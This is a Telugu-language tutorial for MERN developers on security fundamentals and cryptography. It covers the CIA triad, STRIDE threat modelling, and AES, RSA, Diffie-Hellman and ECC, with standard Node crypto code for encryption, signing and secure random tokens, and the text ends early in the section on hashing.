Security & Cryptography - తెలుగు గైడ్ (SSE Fundamentals)

> ఈ document చదివిన తర్వాత web security & cryptography మళ్ళీ జీవితంలో మర్చిపోలేవు. Security అస్సలు తెలియని MERN developer ని — ZERO నుండి — Senior Software Engineer (SSE) interview crack చేసే, production లో secure code రాసే స్థాయికి తీసుకెళ్ళడమే లక్ష్యం. ప్రతి concept కి ఒక vivid real-life analogy, ఎందుకు/ఎప్పుడు వాడాలి, **the attack + the defense**, real Node/Express code, gotchas, మరియు interview దృష్టి — అన్నీ ఉంటాయి. "ఒకసారి చదివితే జీవితంలో మర్చిపోకూడదు."
>
> **లక్ష్యం:** MERN (MongoDB, Express, React, Node) తెలిసిన కానీ security అస్సలు తెలియని self-taught engineer ని absolute basics నుండి interview-ready వరకు తీసుకెళ్ళడం. Non-CS background అయినా పర్వాలేదు — ప్రతిదీ మొదటి principle నుండి, kitchen/bank/postbox analogies తో నేర్చుకుంటాం. Best-teacher style — intuition first, jargon తర్వాత.
>
> ఇది `OOPS_Telugu.md` , `HLD_Telugu.md` , `JavaScript_Telugu.md` , `DSA_00_Foundations_Telugu.md` కి కొనసాగింపు. ప్రతి topic web/MERN reality లో (Express APIs, cookies, React, MongoDB) ground చేయబడింది.

విషయ సూచిక (Table of Contents)

Part 1 — Foundations (పునాదులు: security & crypto అంటే ఏమిటి)

1. Security అంటే ఏమిటి, ఎందుకు (CIA triad: Confidentiality/Integrity/Availability, threat modeling, defense in depth, least privilege)
2. Cryptography basics (encryption: symmetric AES vs asymmetric RSA/public-private keys, when which, key exchange idea)
3. Hashing (vs encryption — one-way, SHA-256, properties, use cases: integrity/passwords)
4. Password storage (never plaintext, salt, bcrypt/scrypt/argon2, rainbow tables, pepper) — real Node bcrypt code

Part 2 — Transport & Identity (data ని ఎలా కాపాడాలి, ఎవరో ఎలా తెలుసుకోవాలి)

5. TLS/HTTPS (why, TLS handshake steps, certificates/CA/PKI, symmetric+asymmetric combo, how HTTPS protects)
6. Authentication vs Authorization (sessions+cookies vs tokens; cookie flags HttpOnly/Secure/SameSite)
7. JWT deep (structure header.payload.signature, signing, stateless auth, storage, expiry/refresh, pitfalls) — real code
8. OAuth 2.0 & SSO (flows, when, OpenID Connect — the "Login with Google" you use)

Part 3 — Web Attacks & Defenses (MERN context — ప్రతి attack ఎలా పనిచేస్తుంది + fix with code)

9. XSS (stored/reflected/DOM; React's protection; sanitization; CSP)

10. CSRF (how it works, SameSite cookies + CSRF tokens)
11. SQL/NoSQL Injection (including MongoDB injection; parameterized queries/sanitization)
12. Other attacks (SSRF, IDOR, clickjacking, open redirect, brute force → rate limiting)

Part 4 — Secure Engineering (production-grade secure code)

13. Secure coding & API security (input validation, output encoding, secrets management/env vars, CORS explained, security headers, HTTPS everywhere, dependency/supply-chain risks npm audit)
14. Interview Q&A + Security Checklist for a MERN app + Common Mistakes

Appendix — Glossary (అన్ని terms ఒక్క వాక్యంలో) + Security npm tools cheat-sheet

---

Part 1 — Foundations

> Security నేర్చుకోవడం అంటే కొన్ని tools వాడటం కాదు — అది ఒక **ఆలోచనా విధానం** (adversarial mindset). "నా code ని ఒక దుర్మార్గుడు (attacker) ఎలా విరిచేయగలడు?" అని ప్రతి line దగ్గర ఆలోచించడం. ఈ Part లో security అంటే ఏమిటి (CIA triad), ఆ security ని కాపాడే గణిత పునాది cryptography (encryption, hashing), మరియు అత్యంత common bug అయిన password storage — ఇవి నేర్చుకుంటాం. ఇవి foundation; ఇవి పక్కాగా ఉంటే మిగతా అంతా సులభం.

---

1. Security అంటే ఏమిటి, ఎందుకు

వివరణ

Security అంటే నీ system ని (data, users, servers) **దుర్మార్గుల (attackers) నుండి కాపాడటం.** కానీ "కాపాడటం" అనేది అస్పష్టం — దేని నుండి? ఎలా? దీన్ని precise గా చెప్పడానికి security కి ఒక **మూడు స్తంభాల నమూనా (framework)** ఉంది — దాన్ని **CIA triad** అంటారు. (CIA = intelligence agency కాదు! ఇది Confidentiality, Integrity, Availability కి short form.)

అక్షరం	పేరు (English)	తెలుగు అర్థం	ఒక్క వాక్యంలో
C	**Confidentiality**	గోప్యత	సరైన వ్యక్తికే data కనపడాలి; attacker కి కనపడకూడదు.
I	**Integrity**	సమగ్రత	Data ని ఎవరూ **రహస్యంగా మార్చకూడదు**; మారితే తెలియాలి.
A	**Availability**	లభ్యత	System **ఎప్పుడూ అందుబాటులో** ఉండాలి; attacker దాన్ని కూల్చకూడదు.

ఈ మూడూ ఒక MERN app లో ఎలా కనపడతాయి:

- **Confidentiality** — user password, credit card, personal messages ఇతరులకు leak అవ్వకూడదు. దీన్ని **encryption + access control** తో సాధిస్తాం. (attack: data breach, eavesdropping.)
- **Integrity** — user ₹100 balance ని attacker రహస్యంగా ₹10,00,000 గా మార్చకూడదు; API response ని మధ్యలో ఎవరూ tamper చేయకూడదు. దీన్ని **hashing, digital signatures, HTTPS** తో సాధిస్తాం. (attack: tampering, MITM.)
- **Availability** — నీ Express server ని attacker millions of requests తో కూల్చకూడదు (DDoS). దీన్ని **rate limiting, load balancing, redundancy** తో సాధిస్తాం. (attack: DoS/DDoS.)

మిగతా అన్ని security concepts (encryption, JWT, XSS, CSRF...) ఈ మూడు goals లో ఏదో ఒకదాన్ని కాపాడటానికే. **ఏ security feature చూసినా, "ఇది CIA లో ఏది కాపాడుతోంది?" అని అడుక్కో** — అప్పుడు everything connects.

Real-life Scenario

> **CIA triad = నీ ఇంటిని కాపాడుకోవడం.**
>
> - **Confidentiality (గోప్యత)** = కిటికీలకు **తెరలు (curtains).** బయటివాళ్ళు లోపల ఏముందో చూడలేరు. నీ diary ని ఒక **locked drawer** లో పెట్టడం. → data ని దాచడం (encryption).
> - **Integrity (సమగ్రత)** = నీ ఇంటి పత్రాల (documents) మీద **అధికారిక signature/seal.** ఎవరైనా దానిలో ఒక అక్షరం మార్చితే, seal పగిలిపోతుంది, నీకు వెంటనే తెలుస్తుంది. → data మారిందో లేదో detect చేయడం (hash/signature).
> - **Availability (లభ్యత)** = ఇంటి తలుపు నీకు **ఎప్పుడూ తెరుచుకోవాలి.** ఒకవేళ ఎవరైనా బయట వెయ్యి మంది గుమిగూడి తలుపు block చేస్తే (DDoS), నువ్వు లోపలికి వెళ్ళలేవు — అది availability attack.
>
> **మూడూ కావాలి.** Curtains ఉన్నా (confidentiality) తలుపు block అయితే (availability పోతే) ఇంట్లోకి వెళ్ళలేవు. తలుపు తెరిచి ఉన్నా (available) locked drawer లేకపోతే (confidentiality పోతే) దొంగ diary చదివేస్తాడు. **Security అంటే ఈ మూడింటినీ balance చేయడం.**

మరో మూడు కీలక principles

CIA "ఏం సాధించాలి" చెప్తుంది. ఈ కింది మూడు principles "ఎలా ఆలోచించాలి" చెప్తాయి — ఇవి SSE interview లో తప్పకుండా అడుగుతారు:

1. Threat Modeling (ముప్పు నమూనా) — "నా system ని ఎవరు, ఎలా attack చేయగలరు?"

Code రాయడానికి *ముందే* attacker లా ఆలోచించడం. ప్రతి feature కి అడుక్కో:

- **Assets** — నేను దేన్ని కాపాడాలి? (user passwords, payment data, admin access.)
- **Threats** — ఏం జరగొచ్చు? (STRIDE model గుర్తుంచుకో: **S**poofing/నక్కడం, **T**ampering/మార్చడం, **R**epudiation/తను చేసినది కాదనడం, **I**nformation disclosure/leak, **D**enial of service, **E**levation of privilege/అనధికార access.)
- **Entry points** — attacker ఎక్కడ నుండి రాగలడు? (login form, file upload, URL params, API endpoints, third-party npm packages.)
- **Mitigations** — ప్రతి threat కి defense ఏమిటి?

2. Defense in Depth (బహుళ రక్షణ పొరలు) — "ఒక్క గోడ మీద ఆధారపడకు."

ఒకే security control మీద depend అవ్వకూడదు. **అనేక పొరలు (layers)** పెట్టు — ఒకటి fail అయినా మిగతావి కాపాడతాయి. ఉదా: ఒక login endpoint కి: (1) HTTPS, (2) rate limiting, (3) strong password hashing, (4) input validation, (5) WAF (firewall), (6) monitoring/alerts. ఒక్క layer break అయినా attacker పూర్తిగా లోపలికి రాలేడు.

3. Principle of Least Privilege (కనీస అధికారం) — "అవసరమైనంతే ఇవ్వు, ఎక్కువ కాదు."

ప్రతి user, service, process కి **తన పని చేయడానికి కావలసిన కనీస permissions మాత్రమే** ఇవ్వు. ఉదా: నీ Express app వాడే MongoDB user కి `readWrite` on ఒక్క database ఇవ్వు — `dbAdmin` on అన్ని databases ఇవ్వకు. ఒకవేళ ఆ app hack అయినా, attacker కి limited access మాత్రమే దొరుకుతుంది.

Real-life Scenario (Defense in Depth)

> **Defense in Depth = బ్యాంకు security.** బ్యాంకు కేవలం ఒక తలుపు మీద ఆధారపడదు:
>
> 1. బయట **security guard** (firewall).
> 2. లోపలికి **ID check** (authentication).
> 3. Cash **locked vault** లో (encryption).
> 4. Vault తెరవడానికి **రెండు కీలు, ఇద్దరు వ్యక్తులు** (multi-factor).
> 5. అంతటా **CCTV** (monitoring/logging).
>
> దొంగ guard ని దాటినా, ID లేకపోతే ఆగిపోతాడు. ID నకిలీ చేసినా, vault తెరవలేడు. **ఒక్క పొర fail అయినా, మిగతా పొరలు కాపాడతాయి.** నీ MERN app కూడా ఇలాగే — ఒక్క check మీద జీవితం పెట్టకు.

Security ఎందుకు నిర్లక్ష్యం చేయకూడదు (real cost)

నిర్లక్ష్యం	పరిణామం
Passwords plaintext లో store	ఒక్క DB leak → లక్షల users' passwords బహిర్గతం → వాళ్ళ ఇతర accounts కూడా hacked (password reuse)
SQL/NoSQL injection	Attacker మొత్తం database dump/delete చేయగలడు
No HTTPS	Public WiFi లో ఎవరైనా passwords, cookies చదవగలరు
No rate limiting	Brute force తో passwords crack; DDoS తో server down
Leaked API key (GitHub కి push)	Attacker నీ cloud bill ని లక్షలకు పెంచగలడు, data దొంగిలించగలడు

Security bug ఒక్కటి చాలు — company reputation, users' trust, డబ్బు, కొన్నిసార్లు legal action (GDPR fines). అందుకే SSE గా నువ్వు **feature రాసేటప్పుడే** security ఆలోచించాలి, తర్వాత "add" చేయడం కాదు.

Threat Modeling in action — ఒక MERN login endpoint

STRIDE ని ఒక concrete example మీద apply చేద్దాం — `POST /login` endpoint. ప్రతి threat కి ఒక defense ఎలా map అవుతుందో చూడు (ఇదే SSE ఆలోచనా విధానం):

STRIDE threat	ఈ endpoint లో ఎలా	Defense
Spoofing (నక్కడం)	attacker వేరే user గా login	strong password hash (bcrypt), MFA
Tampering (మార్చడం)	request body / token మార్చడం	HTTPS, input validation, signed JWT
Repudiation (కాదనడం)	"నేను login అవ్వలేదు" అని ఖండించడం	audit logs (who, when, IP)
Information disclosure	error నుండి "email exists" leak	vague messages, no stack traces
Denial of Service	password guessing flood	rate limiting, account lockout
Elevation of privilege	normal user → admin	authorization checks, least privilege, no mass-assign

ఒక్క login endpoint కే 6 threat classes, 6 defenses. **ప్రతి feature కి ఇలా STRIDE walk చేయడం** = threat modeling. Code రాయకముందే ఈ table తలలో ఉంటే, security bugs పుట్టనే పుట్టవు.

CIA triad — ఏ tool ఏ goal కాపాడుతుంది

Goal	ముప్పు (threat)	రక్షణ (defense) — ఈ doc లో ఎక్కడ
Confidentiality	Eavesdropping, data breach	Encryption (Topic 2), TLS/HTTPS (Topic 5), access control (Topic 6)
Integrity	Tampering, MITM	Hashing (Topic 3), digital signatures (Topic 2), HTTPS (Topic 5), JWT signature (Topic 7)
Availability	DoS/DDoS, resource exhaustion	Rate limiting (Topic 12), input validation, redundancy
Authenticity (bonus)	Spoofing/impersonation	Authentication (Topic 6), JWT/OAuth (Topics 7-8), certificates (Topic 5)

Key Points

- **CIA triad = Confidentiality (గోప్యత), Integrity (సమగ్రత), Availability (లభ్యత).** ప్రతి security concept ఈ మూడింటిలో ఏదో ఒకదాన్ని కాపాడుతుంది — "ఇది CIA లో ఏది?" అని ఎప్పుడూ అడుక్కో.
- **Threat modeling** = code రాయకముందే attacker లా ఆలోచించడం (STRIDE: Spoofing, Tampering, Repudiation, Info disclosure, DoS, Elevation).
- **Defense in depth** = అనేక పొరలు; ఒక్క control మీద ఆధారపడకు.
- **Least privilege** = ప్రతి user/service కి కనీస permissions మాత్రమే.
- Security అనేది **feature కాదు, mindset** — తర్వాత "add" చేసేది కాదు, మొదటి నుండే build చేసేది.
- ఒక్క security bug = reputation + డబ్బు + users' trust నష్టం. అందుకే worth taking seriously.

Interview దృష్టి

Q: CIA triad అంటే ఏమిటి, ఒక example తో చెప్పు. A: Security కి మూడు core goals: **Confidentiality** (data leak అవ్వకూడదు — encryption తో), **Integrity** (data రహస్యంగా మారకూడదు — hashing/signatures తో), **Availability** (system down అవ్వకూడదు — rate limiting/redundancy తో). ఉదా online banking లో: మీ balance ఇతరులకు కనపడకూడదు (C), మీకు తెలియకుండా మారకూడదు (I), మీరు login చేయాలనుకున్నప్పుడు site down అవ్వకూడదు (A).

Q: "Defense in depth" అంటే ఏమిటి, ఒక login flow కి apply చేసి చెప్పు? A: ఒకే security control మీద ఆధారపడకుండా అనేక పొరలు పెట్టడం. Login కి: HTTPS (transport) + rate limiting (brute force ఆపడానికి) + bcrypt hashing (DB leak అయినా passwords safe) + input validation (injection ఆపడానికి) + MFA + monitoring. ఒక్క layer fail అయినా మిగతావి కాపాడతాయి.

Q: Least privilege ని MERN లో ఎలా apply చేస్తావు? A: App వాడే MongoDB user కి కేవలం అవసరమైన database మీద `readWrite` ఇస్తాను, admin rights కాదు. JWT లో user role embed చేసి, ప్రతి endpoint దగ్గర "ఈ user కి ఈ action చేసే హక్కు ఉందా?" check చేస్తాను (authorization). Cloud లో ప్రతి service కి scoped IAM role మాత్రమే. దీనివల్ల ఏదైనా compromise అయినా blast radius చిన్నది.

2. Cryptography basics (Encryption)

వివరణ

Cryptography = data ని **గణితం (math) ఉపయోగించి** ఇతరులకు అర్థంకాని రూపంలోకి మార్చడం, తద్వారా సరైన వ్యక్తికే అది అర్థమయ్యేలా చేయడం. దీని ప్రధాన సాధనం **encryption.**

- **Plaintext** = original readable data ("Hello Bob").
- **Ciphertext** = encrypted, unreadable data ("X9$kL2#mQ").
- **Key** = plaintext ↔ ciphertext మార్చడానికి వాడే రహస్యం (కీ).
- **Encryption** = plaintext → ciphertext (key తో). **Decryption** = ciphertext → plaintext (key తో).

కీలక విషయం: **algorithm రహస్యం కాదు — key మాత్రమే రహస్యం.** (దీన్ని Kerckhoffs's principle అంటారు.) AES, RSA అనే algorithms అందరికీ public గా తెలుసు; అయినా secure. ఎందుకంటే security అంతా **key** మీద ఆధారపడి ఉంటుంది, algorithm ని దాచడం మీద కాదు. అందుకే ఎప్పుడూ **నీ సొంత crypto algorithm రాయకు** — నిపుణులు దశాబ్దాలు test చేసిన AES/RSA వాడు.

Encryption రెండు రకాలు — ఇదే ఈ topic యొక్క గుండె:

రకం	Key ఎన్ని?	ఎవరికి తెలుసు	ఉదాహరణ	వేగం
Symmetric	ఒక్కటే key	encrypt & decrypt కి **అదే key**	AES, ChaCha20	చాలా వేగం
Asymmetric	జత (pair): public + private	public అందరికీ, private రహస్యం	RSA, ECC	నెమ్మది (~1000x slow)

2.1 Symmetric Encryption (ఒకే key)

అదే key తో encrypt చేసి, **అదే key** తో decrypt చేస్తాం. AES (Advanced Encryption Standard) — ప్రపంచంలో అత్యంత వాడే symmetric algorithm (banks, WhatsApp, disk encryption అన్నీ). AES-256 = 256-bit key = crack చేయడం

విశ్వం వయసు కంటే ఎక్కువ కాలం పడుతుంది.

సమస్య (key distribution problem): Alice, Bob ఇద్దరి దగ్గరా అదే key ఉండాలి. కానీ ఆ key ని Bob కి ఎలా పంపడం? Internet ద్వారా పంపితే, మధ్యలో attacker దాన్ని దొంగిలిస్తాడు! ఇదే symmetric encryption యొక్క పెద్ద లోపం — దీన్ని asymmetric encryption / key exchange పరిష్కరిస్తుంది.

> **Symmetric = ఒకే తాళంచెవి ఉన్న అల్మారా.** నీకూ నీ friend కీ అదే తాళంచెవి copy ఉంది. దానితో అల్మారా lock/unlock రెండూ చేయవచ్చు. వేగం, simple. కానీ ఆ చెవి copy ని friend కి ఎలా ఇవ్వాలి? పోస్టులో పంపితే దారిలో దొంగిలించొచ్చు! **అదే key-distribution problem.**

```
// ---- AES-256-GCM (symmetric) — Node built-in crypto module ----
const crypto = require('crypto');

const algorithm = 'aes-256-gcm';          // GCM = encryption + integrity (tamper detect)
const key = crypto.randomBytes(32);       // 256-bit secret key (ఇది రహస్యం!)

function encrypt(plaintext) {
  const iv = crypto.randomBytes(12);      // IV = ప్రతిసారి కొత్తది (never reuse!)
  const cipher = crypto.createCipheriv(algorithm, key, iv);
  let ct = cipher.update(plaintext, 'utf8', 'hex');
  ct += cipher.final('hex');
  const authTag = cipher.getAuthTag();    // tamper అయ్యిందో లేదో చెప్పే tag
  return { ct, iv: iv.toString('hex'), tag: authTag.toString('hex') };
}

function decrypt({ ct, iv, tag }) {
  const decipher = crypto.createDecipheriv(algorithm, key, Buffer.from(iv, 'hex'));
  decipher.setAuthTag(Buffer.from(tag, 'hex'));  // wrong/tampered → throws!
  let pt = decipher.update(ct, 'hex', 'utf8');
  pt += decipher.final('utf8');
  return pt;
}

const box = encrypt('my secret bank PIN 4291');
console.log(box.ct);                       // ciphertext (unreadable hex)
console.log(decrypt(box));                 // 'my secret bank PIN 4291'
```

IV (Initialization Vector) ఎందుకు? అదే plaintext + అదే key → *ప్రతిసారి వేరే* ciphertext రావాలి (లేకపోతే attacker patterns కనిపెడతాడు). IV అనే random value ప్రతి encryption కి కొత్తది ఇస్తుంది. **IV రహస్యం కాదు** (ciphertext పక్కన store చేయవచ్చు), కానీ **అదే key తో ఎప్పుడూ IV reuse చేయకు** — GCM లో ఇది catastrophic.

2.2 Asymmetric Encryption (public + private key జత)

రెండు **వేరువేరు** keys, గణితంతో ముడిపడినవి (mathematically linked):

- **Public key** — అందరికీ ఇవ్వొచ్చు (website లో పెట్టొచ్చు).
- **Private key** — **నీ దగ్గరే రహస్యం**, ఎవరికీ ఇవ్వకూడదు.

జాదూ ఏమిటంటే: **public key తో encrypt చేసినది, private key తో మాత్రమే decrypt అవుతుంది** (vice versa). ఇది key-distribution problem పరిష్కరిస్తుంది — Bob తన public key ని అందరికీ ఇవ్వొచ్చు; Alice దానితో encrypt చేసి

పంపితే, Bob యొక్క private key తో మాత్రమే open అవుతుంది. దారిలో attacker public key చూసినా, decrypt చేయలేడు (private key లేదు కాబట్టి).

> **Asymmetric = బహిరంగ postbox (open padlock).** Bob ఒక **open padlock (public key)** ని అందరికీ పంచుతాడు — "ఎవరైనా దీంతో నాకు box lock చేసి పంపండి." కానీ ఆ padlock తెరిచే **తాళంచెవి (private key)** Bob దగ్గరే ఉంటుంది. Alice message ని box లో పెట్టి, Bob padlock తో lock చేసి పంపుతుంది. దారిలో ఎవరు చూసినా — padlock వాళ్ళ దగ్గర ఉన్నా — తెరవలేరు, ఎందుకంటే **చెవి Bob దగ్గరే.** ఇక key ని ముందుగా పంచాల్సిన అవసరం లేదు!

Asymmetric యొక్క రెండు వాడకాలు (ఇది చాలా ముఖ్యం, తికమక పడకు):

వాడకం	ఎవరు encrypt/sign	ఎవరు decrypt/verify	ఏం సాధిస్తుంది
Confidentiality	ఎవరైనా **public** key తో encrypt	యజమాని **private** key తో decrypt	data ని రహస్యంగా పంపడం
Digital Signature	యజమాని **private** key తో sign	ఎవరైనా **public** key తో verify	"ఇది నిజంగా నేనే పంపా, tamper కాలేదు" (authenticity + integrity)

```
// ---- RSA (asymmetric) — Node crypto ----
const { generateKeyPairSync, publicEncrypt, privateDecrypt,
        sign, verify } = require('crypto');

const { publicKey, privateKey } = generateKeyPairSync('rsa', {
  modulusLength: 2048,                      // 2048-bit RSA (minimum safe)
});

// --- వాడకం 1: Confidentiality (public encrypt → private decrypt) ---
const secret = Buffer.from('transfer ₹50000 to Bob');
const encrypted = publicEncrypt(publicKey, secret);        // ఎవరైనా చేయవచ్చు
const decrypted = privateDecrypt(privateKey, encrypted);   // owner మాత్రమే
console.log(decrypted.toString());          // 'transfer ₹50000 to Bob'

// --- వాడకం 2: Digital Signature (private sign → public verify) ---
const doc = Buffer.from('I approve this payment');
const signature = sign('sha256', doc, privateKey);         // owner sign చేస్తాడు
const isValid = verify('sha256', doc, publicKey, signature); // ఎవరైనా verify
console.log(isValid);                        // true — నిజంగా owner పంపాడు, tamper కాలేదు
```

2.3 ఎప్పుడు ఏది? (Hybrid — నిజ ప్రపంచం రెండూ కలుపుతుంది)

Asymmetric secure గా key distribution solve చేస్తుంది, కానీ **~1000x నెమ్మది** — పెద్ద data కి పనికిరాదు. Symmetric వేగం, కానీ key ఎలా పంచాలో problem. **పరిష్కారం: రెండూ కలపడం (hybrid).**

అసలు TLS/HTTPS ఇలానే పనిచేస్తుంది (Topic 5):

1. **Asymmetric** వాడి ఒక చిన్న **symmetric key ని safe గా exchange** చేయి (ఒక్కసారే, చిన్న data).
2. తర్వాత అసలు పెద్ద traffic అంతా **symmetric (AES)** తో encrypt చేయి (వేగం).

అంటే: asymmetric = "handshake, key మార్పిడి కోసం"; symmetric = "అసలు data కోసం."

2.4 Key Exchange idea (Diffie-Hellman)

"Attacker చూస్తుండగానే, Alice-Bob ఒక **shared secret** ఎలా agree అవుతారు?" — దీన్ని **Diffie-Hellman (DH) key exchange** పరిష్కరిస్తుంది. Keys ని ఏనాడూ transmit చేయకుండా, ఇద్దరూ ఒకే secret ని *వేరువేరుగా లెక్కించుకుంటారు.*

> **Diffie-Hellman = రంగులు కలపడం (paint mixing).** Alice, Bob ముందు ఒక **public color (పసుపు)** మీద agree అవుతారు (అందరూ చూడొచ్చు). తర్వాత ఒక్కొక్కరు తమ **secret color** (Alice ఎరుపు, Bob నీలం) కలుపుతారు, ఆ mixtures ని exchange చేస్తారు. చివరిగా ఒక్కొక్కరు తమ secret ని అవతలి mixture లో కలుపుతారు → ఇద్దరికీ **అదే final color** వస్తుంది (పసుపు+ఎరుపు+నీలం)! Attacker పసుపు, రెండు mixtures చూసినా — వాటిని *విడదీయలేడు* (paint un-mix చేయలేం), అందుకే final secret తెలియదు. **Math లో ఇదే "un-mixing" = discrete logarithm problem — computationally impossible.**

2.5 RSA vs ECC, మరియు "at rest" vs "in transit"

ECC (Elliptic Curve Cryptography) = asymmetric crypto యొక్క modern రూపం. RSA లాంటిదే (public/private జత) కానీ elliptic curve అనే గణితం మీద ఆధారపడుతుంది. దీని పెద్ద లాభం: **చాలా చిన్న keys తో అదే security.** 256-bit ECC key ≈ 3072-bit RSA key అంత strong. చిన్న keys = వేగం + తక్కువ bandwidth + mobile-friendly. అందుకే modern TLS, JWT (`ES256`), crypto wallets, SSH అన్నీ ECC వైపు వెళ్తున్నాయి (ECDSA/Ed25519 signatures, ECDHE key exchange).

అంశం	RSA	ECC
Key size (same security)	3072-bit	256-bit (12x చిన్నది)
వేగం	నెమ్మది (పెద్ద keys)	వేగం
వాడకం	legacy, ఇంకా common	modern (TLS 1.3, mobile, JWT ES256)
గణితం	integer factorization	elliptic curve discrete log

Encryption at rest vs in transit — SSE తప్పకుండా తెలియాలి:

రకం	ఎప్పుడు	ఎలా	ఉదా
In transit	data network మీద ప్రయాణం	TLS/HTTPS (Topic 5)	React → Express request encrypt
At rest	data disk/DB లో store	DB/disk encryption, KMS	MongoDB Atlas encryption at rest, encrypted backups

రెండూ కావాలి. In transit మాత్రమే ఉంటే — DB dump/stolen backup అయితే data plaintext. At rest మాత్రమే ఉంటే — wire మీద eavesdrop. Defense in depth (Topic 1) = రెండు పొరలు.

> **In transit = armored van (రవాణాలో); at rest = bank vault (నిల్వలో).** డబ్బు van లో safe గా వెళ్ళినా, bank లో vault తెరిచి ఉంటే దొంగ కొడతాడు. అలాగే TLS (transit) ఉన్నా DB unencrypted (at rest) అయితే — backup leak = అంతా gone. రెండూ encrypt చేయాలి.

2.6 Secure Randomness (CSPRNG) — దాచిన కీలకం

Crypto అంతా **unpredictable randomness** మీద ఆధారపడుతుంది — keys, salts, session IDs, reset tokens, IVs, CSRF tokens అన్నీ **guess చేయలేనివి** అవ్వాలి. ఇక్కడ అతి common, ప్రమాదకర తప్పు: **`Math.random()` వాడటం.**

`Math.random()` **predictable** — అది cryptographic కాదు; internal state నుండి output ని లెక్కించవచ్చు (కొన్ని outputs చూస్తే భవిష్యత్తు predict). Security-sensitive random కి **ఎప్పుడూ** వాడకూడదు. బదులుగా **CSPRNG** (Cryptographically Secure PRNG) — Node లో `crypto.randomBytes` / `crypto.randomUUID` .

```
const crypto = require('crypto');
// ❌ const token = Math.random().toString(36);   // predictable — attacker guess చేయగలడు
// ✅ CSPRNG — genuinely unpredictable
const token = crypto.randomBytes(32).toString('hex');   // session/reset token
const id    = crypto.randomUUID();                      // unique id (v4)
```

> **Math.random = దెబ్బతిన్న lottery machine** — patterns ఉన్నాయి, insider guess చేయగలడు. **CSPRNG = నిజమైన yad్ఛికత** — history చూసినా తర్వాతది predict చేయలేరు. Token predictable అయితే, attacker session hijack చేస్తాడు — crypto ఎంత strong అయినా వృథా.

Rule: security కి సంబంధించిన random ఏదైనా (token, salt, id, key) → **`crypto.randomBytes`** , ఎప్పుడూ `Math.random` కాదు.

Symmetric vs Asymmetric — పోలిక

అంశం	Symmetric (AES)	Asymmetric (RSA/ECC)
Keys	ఒక్క shared key	public + private జత
వేగం	చాలా వేగం	నెమ్మది (~1000x)
Key distribution	కష్టం (safe గా పంచడం సవాలు)	సులభం (public key అందరికీ ఇవ్వొచ్చు)
Data size	పెద్ద data కి ideal	చిన్న data కి మాత్రమే (keys, hashes)
వాడకం	bulk encryption (files, traffic)	key exchange, digital signatures
ఉదా algorithms	AES-256, ChaCha20	RSA-2048, ECDSA, Ed25519

Key Points

- **Encryption = రెండు-వైపుల (reversible)** — key ఉంటే వెనక్కి plaintext పొందవచ్చు. (Hashing ఇలా కాదు — Topic 3.)

- **Symmetric (AES)** = ఒకే key, వేగం, కానీ key distribution problem. Bulk data కి.
- **Asymmetric (RSA)** = public/private జత, key distribution solve, కానీ నెమ్మది. Key exchange + signatures కి.
- **Public key encrypt → private decrypt** (గోప్యత); **private key sign → public verify** (signature/authenticity). రెండూ గందరగోళపడకు.
- నిజ systems **hybrid** — asymmetric తో symmetric key exchange, తర్వాత symmetric తో data. (ఇదే HTTPS.)
- **Algorithm public, key మాత్రమే రహస్యం** (Kerckhoffs). ఎప్పుడూ **సొంత crypto రాయకు** — AES/RSA వాడు.
- **IV/nonce ప్రతిసారి కొత్తది**, key తో reuse చేయకు.

Interview దృష్టి

Q: Symmetric vs asymmetric encryption తేడా, ఎప్పుడు ఏది వాడతావు? A: Symmetric (AES) ఒకే key encrypt+decrypt కి — చాలా వేగం, కానీ ఆ key ని safe గా పంచడం కష్టం. Asymmetric (RSA) public+private జత — public తో encrypt, private తో decrypt; key distribution సులభం కానీ నెమ్మది. అందుకే real systems (TLS) **hybrid**: asymmetric తో ఒక symmetric session key ని exchange చేసి, తర్వాత అసలు data ని fast symmetric తో encrypt చేస్తాయి.

Q: Public key తో encrypt చేస్తే, private తో decrypt. మరి signature ఎలా? A: Signature reverse — **private key తో sign** (owner మాత్రమే చేయగలడు), **public key తో ఎవరైనా verify** చేయగలరు. ఇది confidentiality కాదు, **authenticity + integrity** ఇస్తుంది: "ఇది నిజంగా private key owner పంపాడు, మధ్యలో tamper కాలేదు" అని proof. JWT signing (Topic 7) ఇదే idea.

Q: సొంత encryption algorithm ఎందుకు రాయకూడదు? A: Crypto చాలా subtle — ఒక్క చిన్న తప్పు (IV reuse, weak randomness, padding bug) మొత్తం security ని కూల్చేస్తుంది. AES/RSA లాంటివి దశాబ్దాలుగా ప్రపంచ నిపుణులు attack చేసి, test చేశారు. "Don't roll your own crypto" — ఇది security లో golden rule.

3. Hashing (vs Encryption)

వివరణ

Hashing = ఏ size data నైనా తీసుకుని, ఒక **fixed-size, ఒక-వైపు (one-way)** fingerprint (digest) గా మార్చడం. Encryption లా ఇది reversible **కాదు** — hash నుండి original data వెనక్కి పొందడం అసాధ్యం. ఇదే కీలక తేడా.

```
"hello"          → SHA-256 → 2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824
"hello world"    → SHA-256 → b94d27b9934d3e08a52e52d7da7dabfac484efe37a5380ee9088f7ace2efcde9
"Hello"          → SHA-256 → 185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969
```

గమనించు: `"hello"` vs `"Hello"` — ఒక్క అక్షరం (case) మారితే, hash **పూర్తిగా** మారిపోయింది. దీన్ని **avalanche effect** అంటారు.

Hashing vs Encryption — అత్యంత ముఖ్యమైన తేడా:

అంశం	Hashing	Encryption
దిశ	ఒక-వైపు (one-way, irreversible)	రెండు-వైపు (reversible)
Key	సాధారణంగా key లేదు (HMAC తప్ప)	తప్పనిసరిగా key
వెనక్కి పొందగలమా?	**కాదు** (hash → data అసాధ్యం)	అవును (key తో decrypt)
Output size	ఎప్పుడూ fixed (SHA-256 = 256 bits)	input size తో మారుతుంది
లక్ష్యం	integrity, verification, indexing	confidentiality (data దాచడం)
వాడకం	passwords, checksums, signatures, blockchain	secret messages, files, TLS traffic

గుర్తుంచుకో: **"password ని encrypt చేస్తా" అనేది తప్పు ఆలోచన — password ని hash చేయాలి** (Topic 4). Encryption అంటే ఎవరో ఒకరు decrypt చేయగలరు (key ఉంటే) — password కి అది ప్రమాదం.

Real-life Scenario

> **Hash = మనిషి వేలిముద్ర (fingerprint).**
>
> - ప్రతి వ్యక్తికి **unique fingerprint** ఉంది (deterministic — అదే వ్యక్తి ఎప్పుడూ అదే ముద్ర).
> - Fingerprint నుండి **మనిషిని తిరిగి తయారు చేయలేం** (one-way — irreversible). వేలిముద్ర చూసి "ఇతని ఎత్తు, రంగు" చెప్పలేం.
